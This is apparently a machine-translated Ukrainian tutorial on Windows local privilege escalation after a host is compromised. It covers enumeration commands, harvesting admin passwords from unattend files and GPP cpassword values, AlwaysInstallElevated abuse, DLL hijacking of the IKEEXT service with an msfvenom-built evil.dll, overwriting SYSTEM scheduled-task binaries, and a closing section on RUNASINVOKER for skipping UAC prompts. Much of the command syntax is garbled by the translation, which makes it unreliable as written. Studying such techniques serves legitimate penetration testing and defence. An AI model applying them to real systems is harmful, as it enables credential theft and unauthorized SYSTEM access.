-o - так само, як і попередній ключ, виводить активні TCP підключення, але в статистику додані коди процесів, по ним вже можна точно визначити, яке саме додаток використовує підключення.
  • netsh firewall show state - статус брандмауера
  • netsh firewall show config - конфігурація брандмауера
Нарешті, ми коротко розглянемо, що працює на скомпрометувати хості: заплановані завдання, запущені процеси, запущені служби і встановлені драйвери.

Schtasks / query / fo LIST / v
де
/ Query - Висновок даних про всіх запланованих завданнях,
/ Fo LIST - Висновок в список.
/ V - Висновок докладних відомостей про завдання.

Наступна команда пов'язує запущені процеси з запущеними службами.

Tasklist / SVC
де,
/ SVC - Відображення служб для кожного процесу.

Також подивимося список запущених служб Windows.

Net start
Корисно також подивитися інформацію про драйвери скомпрометованої системи.

DRIVERQUERY
Далі хочеться згадати про, напевно, найкориснішою команді Windows - wmic. Команда WMIC (Windows Management Instrumentation Command) використовується для отримання відомостей про обладнання та системі, управління процесами і їх компонентами, а також зміни налаштувань з використанням можливостей інструментарію управління Windows (Windows Management Instrumentation або WMI). Хороший опис.

На жаль, деякі конфігурації Windows за замовчуванням не дозволяють доступ до WMIC, якщо користувач не входить в групу Адміністраторів (що дійсно хороша ідея). Будь-яка версія XP не дозволяла доступ до WMIC з непривілейованої облікового запису.

Навпаки, Windows 7 Professional і Windows 8 Enterprise за замовчуванням дозволяли користувачам з низькими привілеями використовувати WMIC.

За звичаєм - параметри програми:

Перш ніж йти далі варто пробігтися по зібраної інформації. Також варто звернути увагу на встановлені в системі патчі, так як будь-яка інформація про дірки в системі дасть нам додаткову опору для підвищення своїх привілеїв. За номером HotFix можна пошукати уразливості щодо підвищення привілеїв.

Далі ми розглянемо автоматичну установку. Якщо існує необхідність установки і настройки великого парку машин, то як правило, технічний персонал не буде переміщатися від машини до машини для настройки персонального кожної. Існує кілька рішень для автоматичної установки. Для нас не так важливо, що це за методи і як вони працюють, а важливо те, що вони залишають конфігураційні файли, які використовуються для процесу установки, що містять багато конфіденційної інформації, такої як ключ продукту операційної системи і пароль адміністратора. Що нас найбільше цікавить, так це пароль адміністратора, який ми можемо використовувати для підвищення наших привілеїв.

Як правило, це такі каталоги:

  • c: \\ sysprep.inf
  • c: \\ sysprep \\ sysprep.xml
  • % WINDIR% \\ Panther \\ Unattend \\ Unattended.xml
  • % WINDIR% \\ Panther \\ Unattended.xml
Але варто перевірити і всю систему.

Дані файли містять паролі у відкритому вигляді або кодуванні BASE64.
приклади:

Sysprep.inf - пароль у відкритому вигляді.

Sysprep.xml - пароль в кодуванні base64.

"

Unattended.xml - пароль в кодуванні base64.

Також для хостів, підключених до домену можна пошукати файл Group.xml, який містить зашифрований AES256 пароль, але який можна розшифрувати, тому що ключ викладений на msdn (https://msdn.microsoft.com/en-us/library/cc422924.aspx) та інших джерелах. Але це в разі, якщо використовується політика створення локальних користувачів на хостах або, наприклад, встановлення пароля для локального Адміністратору.

Наприклад, у мене лежить тут:

Відкривши його, шукаємо параметр "cpassword".

Далі потрібно розшифрувати цю послідовність. Використовуємо, наприклад, CrypTool. Спочатку раскодіруем Base64.
Особливості Base64 в тому, що його довжина повинна бути кратна 4. Тому вважаємо блоки по 4, і якщо в останньому блоці не вистачає символів, то відсутні дописуємо символами «\u003d».
У мене вийшло 2 «\u003d».

Прибираємо зайві точки, що розділяють знаки і отримуємо пароль.

На додаток до Group.xml ось кілька інших файлів переваг політики, які можуть мати додатковий набір атрибутів «cPassword":

  • Services \\ Services.xml
  • ScheduledTasks \\ ScheduledTasks.xml
  • Printers \\ Printers.xml
  • Drives \\ Drives.xml
  • DataSources \\ DataSources.xml
Однак ми всі любимо автоматизовані рішення, тому ми можемо дістатися до фінішу якомога швидше. Тут є два основні варіанти, в залежності від типу оболонки / доступу, який у нас є. Існує модуль metasploit, який може бути виконаний через встановлену сесію (https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp) або Ви можете використовувати Get-GPPPassword, який є частиною PowerSploit.

Для того, щоб мати можливість використовувати це, ми повинні перевірити, що обидва розділи реєстру встановлені, і якщо це так, ми можемо отримати SYSTEM shell. перевіримо:

Reg query HKLM \\ SOFTWARE \\ Policies \\ Microsoft \\ Windows \\ Installer \\ AlwaysInstallElevated
reg query HKCU \\ SOFTWARE \\ Policies \\ Microsoft \\ Windows \\ Installer \\ AlwaysInstallElevated
До складу Metasploit входить спеціальний модуль exploit / windows / local / always_install_elevated, який створює MSI-файл з вбудованим в нього спеціальним виконуваним файлом, який витягується і виконується монтажником з привілеями системи. Після його виконання msi-файл припиняє установку, щоб запобігти реєстрацію дії в системі. До того ж якщо запустити установку з ключем / quiet, то навіть не виведеться помилка.

Ну і трохи корисних команд з пошуку по системі:

Команда нижче буде шукати в файлової системі імена файлів, що містять певні ключові слова. Ви можете вказати будь-яку кількість ключових слів.

Dir / s * pass * \u003d\u003d * cred * \u003d\u003d * vnc * \u003d\u003d * .config *
Пошук певних типів файлів за ключовим словом, ця команда може генерувати багато вихідних даних.

Findstr / si password * .xml * .ini * .txt
Аналогічно дві команди нижче можуть бути використані для grep реєстру за ключовими словами, в даному випадку "password".

Reg query HKLM / f password / t REG_SZ / s
reg query HKCU / f password / t REG_SZ / s
На даний момент у нас вже є достатньо, щоб отримати системний йшов. Але є ще пара направленbй атаки для отримання бажаного результату: ми розглянемо служби Windows і дозволу для файлів і папок. Наша мета тут - використовувати слабкі дозволу для підвищення привілеїв сеансу.

Ми будемо перевіряти багато прав доступу, в цьому нам допоможе accesschk.exe, який є інструментом від Microsoft Sysinternals Suite. Microsoft Sysinternals містить багато відмінних інструментів. Пакет можна завантажити з сайту Microsoft technet (https://docs.microsoft.com/ru-ru/sysinternals/downloads/sysinternals-suite).

Ми можемо перевірити необхідний рівень привілеїв для кожної служби за допомогою accesschk.

Ми можемо бачити дозволи, які має кожен рівень користувача.

Accesschk може автоматично перевіряти, чи є у нас доступ на запис до служби Windows з певним рівнем користувача. Як правило, як користувач з низькими привілеями, ми хочемо перевірити "користувачів". Переконайтеся, що перевірили, до яких груп користувачів ви належите.

C Як ім'я вказана служба Windows, наприклад ssdpsrv (вкажіть "*" для виведення на екран всіх служб)
-d Обробляти тільки каталоги
-e Показати тільки тих явно задані рівні цілісності (тільки для ОС Windows Vista)
-k Як ім'я вказано розділ реєстру, наприклад hklm \\ software
-n Показати тільки тих об'єкти, що не мають правил доступу
-p Як ім'я з іменем чи ідентифікатор процесу (PID), наприклад cmd.exe (вкажіть в якості імені "*", щоб вивести на екран всі процеси)
-q Опустити заголовок
-r Показати тільки тих об'єкти, до яких є право доступу на читання
-s Рекурсивна обробка
-v Виводити докладну інформацію
-w Показати тільки тих об'єкти, до яких є право доступу на запис

Також є ще одна цікава команда:

Autorunsc.exe -a | findstr / n / R "File \\ not \\ found"
Дозволяє знайти запис в реєстрі про фото, який запускався автоматично, але зараз вже відсутня в системі. Запис могла залишитися, якщо наприклад, сервіс був неправильно видалений. При кожному запуску система безуспішно намагається запустити цей файл. Цією ситуацією також можна скористатися для розширення своїх повноважень. Просто на місце цього файлу можна підставити наш.

Перша: репліціруем результати поста, написаного Parvez з GreyHatHacker; "Elevating privileges by exploiting weak folder permissions" (http://www.greyhathacker.net/?p\u003d738).

Цей приклад є окремим випадком викрадення dll. Програми зазвичай не можуть функціонувати самі по собі, у них є багато ресурсів, які їм потрібно підключити (в основному dll, але і власні файли). Якщо програма або служба завантажує файл з каталогу, до якого у нас є доступ на запис, ми можемо зловжити цим, щоб запустити оболонку з привілеями, під якими працює програма.

Як правило, додаток Windows буде використовувати зумовлені шляху пошуку, щоб знайти dll, і він буде перевіряти ці шляхи в певному порядку. Dll викрадення зазвичай відбувається шляхом розміщення шкідливих dll по одному з цих шляхів. Ця проблема може бути усунена шляхом вказівки з додатком абсолютних шляхів до необхідної dll.

Порядок пошуку dll:

  1. Директорія з якої запущено додаток
  2. 32-bit System directory (C: \\ Windows \\ System32)
  3. 16-bit System directory (C: \\ Windows \\ System)
  4. Windows directory (C: \\ Windows)
  5. Діюча робоча директорія (CWD)
  6. Directories in the PATH environment variable (system then user)
Іноді програми намагаються завантажити dll файли, відсутні на машині. Це може відбутися з кількох причин, наприклад, якщо бібліотека dll потрібно тільки для певних модулів або компонентів, які не встановлені. В цьому випадку Parvez виявив, що деякі служби Windows намагаються завантажити бібліотеки dll, які не існують в установках за умовчанням.

Так як dll не існує, ми в кінцевому підсумку проходження всіх шляхів пошуку. Як користувач з низьким рівнем привілеїв у нас небагато шансів покласти шкідливий dll в п. 1-4, 5. Але якщо у нас є доступ на запис в будь-який з каталогів, то наші шанси на перемогу великі.

Давайте подивимося, як це працює на практиці, для нашого прикладу ми будемо використовувати IKEEXT (модулі ключів IPSec IKE і AuthIP) сервіс, який намагається завантажити wlbsctrl.dll.

Будь-каталог в "C: \\" дасть доступ на запис для аутентіфіцированний користувачів, це дає нам шанс.

C: \\ Users \\ user1 \\ Desktop\u003e accesschk.exe -dqv "C: \\ Python27"
C: \\ Python27 Medium Mandatory Level (Default) RW BUILTIN \\ Administrators FILE_ALL_ACCESS RW NT AUTHORITY \\ SYSTEM FILE_ALL_ACCESS R BUILTIN \\ Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL RW NT AUTHORITY \\ Authenticated Users FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL
C: \\ Users \\ user1 \\ Desktop\u003e icacls "C: \\ Python27"
C: \\ Python27 BUILTIN \\ Administrators: (ID) F BUILTIN \\ Administrators: (OI) (CI) (IO) (ID) F NT AUTHORITY \\ SYSTEM: (ID) F NT AUTHORITY \\ SYSTEM: (OI) (CI) ( IO) (ID) F BUILTIN \\ Users: (OI) (CI) (ID) R NT AUTHORITY \\ Authenticated Users: (ID) C NT AUTHORITY \\ Authenticated Users: (OI) (CI) (IO) (ID) C
F - повний доступ.
(OI) - успадкування об'єктами.
(CI) - успадкування контейнерами.
(IO) - тільки спадкування.
(NP) - заборона на поширення успадкування.
(I) - успадкування дозволів від батьківського контейнера.

Перш ніж перейти до дії, необхідно перевірити стан служби IKEEXT. У цьому випадку ми можемо побачити, що він встановлений на "AUTO_START"!

Sc qc IKEEXT
QueryServiceConfig SUCCESS SERVICE_NAME: IKEEXT TYPE: 20 WIN32_SHARE_PROCESS START_TYPE: 2 AUTO_START ERROR_CONTROL: 1 NORMAL BINARY_PATH_NAME: C: \\ Windows \\ system32 \\ svchost.exe -k netsvcs LOAD_ORDER_GROUP: TAG: 0 DISPLAY_NAME: IKE and AuthIP IPsec Keying Modules DEPENDENCIES: BFE SERVICE_START_NAME: LocalSystem
Тепер ми знаємо, що у нас є необхідні умови, і ми можемо створити шкідливу dll і перехоплення оболонки!

Використовуємо Metasploit -\u003e msfvenom, це наприклад.

Після передачі evil.dll на наш цільовий комп'ютер все, що нам потрібно зробити, це перейменувати його в wlbsctrl.dll і перемістити в "C: \\ Python27". Як тільки це буде зроблено, нам потрібно терпляче чекати перезавантаження машини (або ми можемо спробувати примусово перезавантажити), і ми отримаємо системну оболонку.

Copy evil.dll C: \\ Python27 \\ wlbsctrl.dll
Після цього залишилося тільки дочекатися перезавантаження системи.

Для нашого останнього прикладу ми розглянемо заплановані завдання. Опишу принцип, тому що у всіх можуть бути різні випадки.

Знаходимо процес, службу, додаток запускається планувальником завдань від SYSTEM.
Перевіряємо права доступу на папку, де знаходиться наша мета.

Accesschk.exe -dqv "путь_к_целі"
Ясно, що це серйозна проблема конфігурації, але ще гірше той факт, що будь-який минулий перевірку Користувач (аутентіфіцированний користувач) має доступ на запис в цю папку. У цьому прикладі ми можемо просто перезаписати двійковий виконуваний файл файлом, що згенерував в metasploit.

Можна закодувати додатково.

Тепер залишається тільки завантажити шкідливий виконуваний файл і перезаписати його в папку виконуваного файлу. Як тільки це буде зроблено, ми можемо спокійно йти спати і рано з ранку отримати системний йшов.

Ці два приклади повинні дати нам уявлення про уразливість, які необхідно шукати при розгляді дозволів для файлів і папок. Буде потрібно час, щоб вивчити всі шляхи binpath для служб windows, заплановані завдання і завдання автозапуску.

Наостанок пара рад по використанню accesschk.exe.

Знайти всі слабкі дозволу для папок на диску.

Accesschk.exe -uwdqs Users c: \\ accesschk.exe -uwdqs "Authenticated Users" c: \\
Знайти всі слабкі дозволу для файлів на диску.

Accesschk.exe -uwqs Users c: \\ *. * Accesschk.exe -uwqs "Authenticated Users" c: \\ *. *
Начебто все.

Багато програм при запуску вимагають підвищення прав (значок щита у іконки), однак насправді для їх нормальної роботи прав адміністратора не потрібно (наприклад, ви вручну надали необхідні права користувачам на каталог програми в ProgramFiles і гілки реєстру, які використовуються програмою). Відповідно, при запуску такої програми з-під простого користувача, якщо на комп'ютері включений контроль облікових записів, з'явиться запит UAC і від користувача зажадає ввести пароль адміністратора. Щоб обійти цей механізм багато просто відключають UAC або надають користувачеві права адміністратора на комп'ютері, додаючи його в групу локальних адміністраторів. Природно, обидва ці способи небезпечні.

Навіщо звичайному додатком можуть знадобиться права адміністратора

Права адміністратора можуть знадобитися програмі для модифікації деяких файлів (логи, конфігурації і т.д.) у власній папці у C: \\ Program Files (x86) \\ SomeApp). За замовчуванням у користувачів немає прав на редагування даного каталогу, відповідно, для нормальної роботи такої програми потрібні права адміністратора. Щоб вирішити цю проблему, потрібно під адміністратором на рівні NTFS вручну призначити на папку з програмою право на зміну / запис для користувача (або групи Users).

Примітка. Насправді практика зберігання змінюються даних програми у власному каталозі в C: \\ Program Files невірна. Правильніше зберігати дані програми в профілі користувача. Але це питання вже про лінь і некомпетентність розробників.

Запуск програми, що вимагає права адміністратора від звичайного користувача

Раніше ми вже описували, як можна, за допомогою параметра RunAsInvoker. Однак цей метод недостатньо гнучкий. Також можна скористатися зі збереженням пароля адміністратора / SAVECRED (також небезпечно). Розглянемо більш простий спосіб примусового запуску будь-якої програми без прав адміністратора (і без введення пароля адміністратора) при включеному UAC (4,3 або 2 рівень).

Для прикладу візьмемо утиліту редагування реєстру - regedit.exe (Вона знаходиться в каталозі C: \u200b\u200b\\ windows \\ system32). При запуску regedit.exe з'являється вікно UAC і, якщо не підтвердити підвищення привілеї, редактор реєстру не починається.

Створимо на робочому столі файл run-as-non-admin.bat з наступним текстом:

cmd / min / C "set __COMPAT_LAYER \u003d RUNASINVOKER && start" "% 1"

Тепер для примусового запуску додатка без права адміністратора і придушення запиту UAC, просто перетягніть потрібний exe файл на цей bat файл на робочому столі.

Після цього редактор реєстру повинен запуститься без появи запиту UAC. Відкривши диспетчер процесів, і додамо стовпець Elevated (З більш високим рівнем дозволів), ви побачите, що в системі є процес regedit.exe з непідвищення статусом (запущений з правами користувача).

Спробуйте відредагувати будь-який параметр в гілці HKLM. Як ви бачите доступ на редагування реєстру в цій гілці заборонений (у даного користувача немає прав на запис в системні гілки реєстру). Але ви можете додавати і редагувати ключі у власній гілці реєстру користувача - HKCU.

Аналогічним чином можна запускати через bat файл і конкретне додаток, досить вказати шлях до виконуваного файлу.

run-app-as-non-admin.bat

Set ApplicationPath \u003d "C: \\ Program Files \\ MyApp \\ testapp.exe"
cmd / min / C "set __COMPAT_LAYER \u003d RUNASINVOKER && start" "% ApplicationPath%"

Також можна додати контекстне меню, яке додає у всіх додатків можливість запуску без підвищення прав. Для цього створіть наступний reg файл і імпортуйте його до реєстру.

Windows Registry Editor Version 5.00


@ \u003d "Cmd / min / C \\" set __COMPAT_LAYER \u003d RUNASINVOKER && start \\ "\\" \\ "% 1 \\" \\ ""

Після цього для запуску будь-якої програми без прав адміністратора досить вибрати пункт «» в контекстному меню.

Мінлива оточення __COMPAT_LAYER і параметр RunAsInvoker

Мінлива оточення __COMPAT_LAYER дозволяє встановлювати різні рівні сумісності для додатків (вкладка сумісність у властивостях exe файлу). За допомогою цієї змінної можна вказати настройки сумісності, з якими потрібно запускати програму. Наприклад, для запуску програми в режимі сумісності з Windows 7 і дозволом 640 × 480, встановіть:

set __COMPAT_LAYER \u003d Win7RTM 640x480

З цікавих нам опцій змінної __COMPAT_LAYER виділимо наступні параметри:

  • RunAsInvoker - запуск програми з привілеями батьківського процесу без запиту UAC.
  • RunAsHighest - запуск програми з максимальними правами, доступними користувачеві (запит UAC з'являється якщо у користувача є права адміністратора).
  • RunAsAdmin - запуск додаток з правами адміністратора (запит AUC з'являється завжди).

Тобто параметр RunAsInvoker не надає права адміністратора, а тільки блокує появи вікна UAC.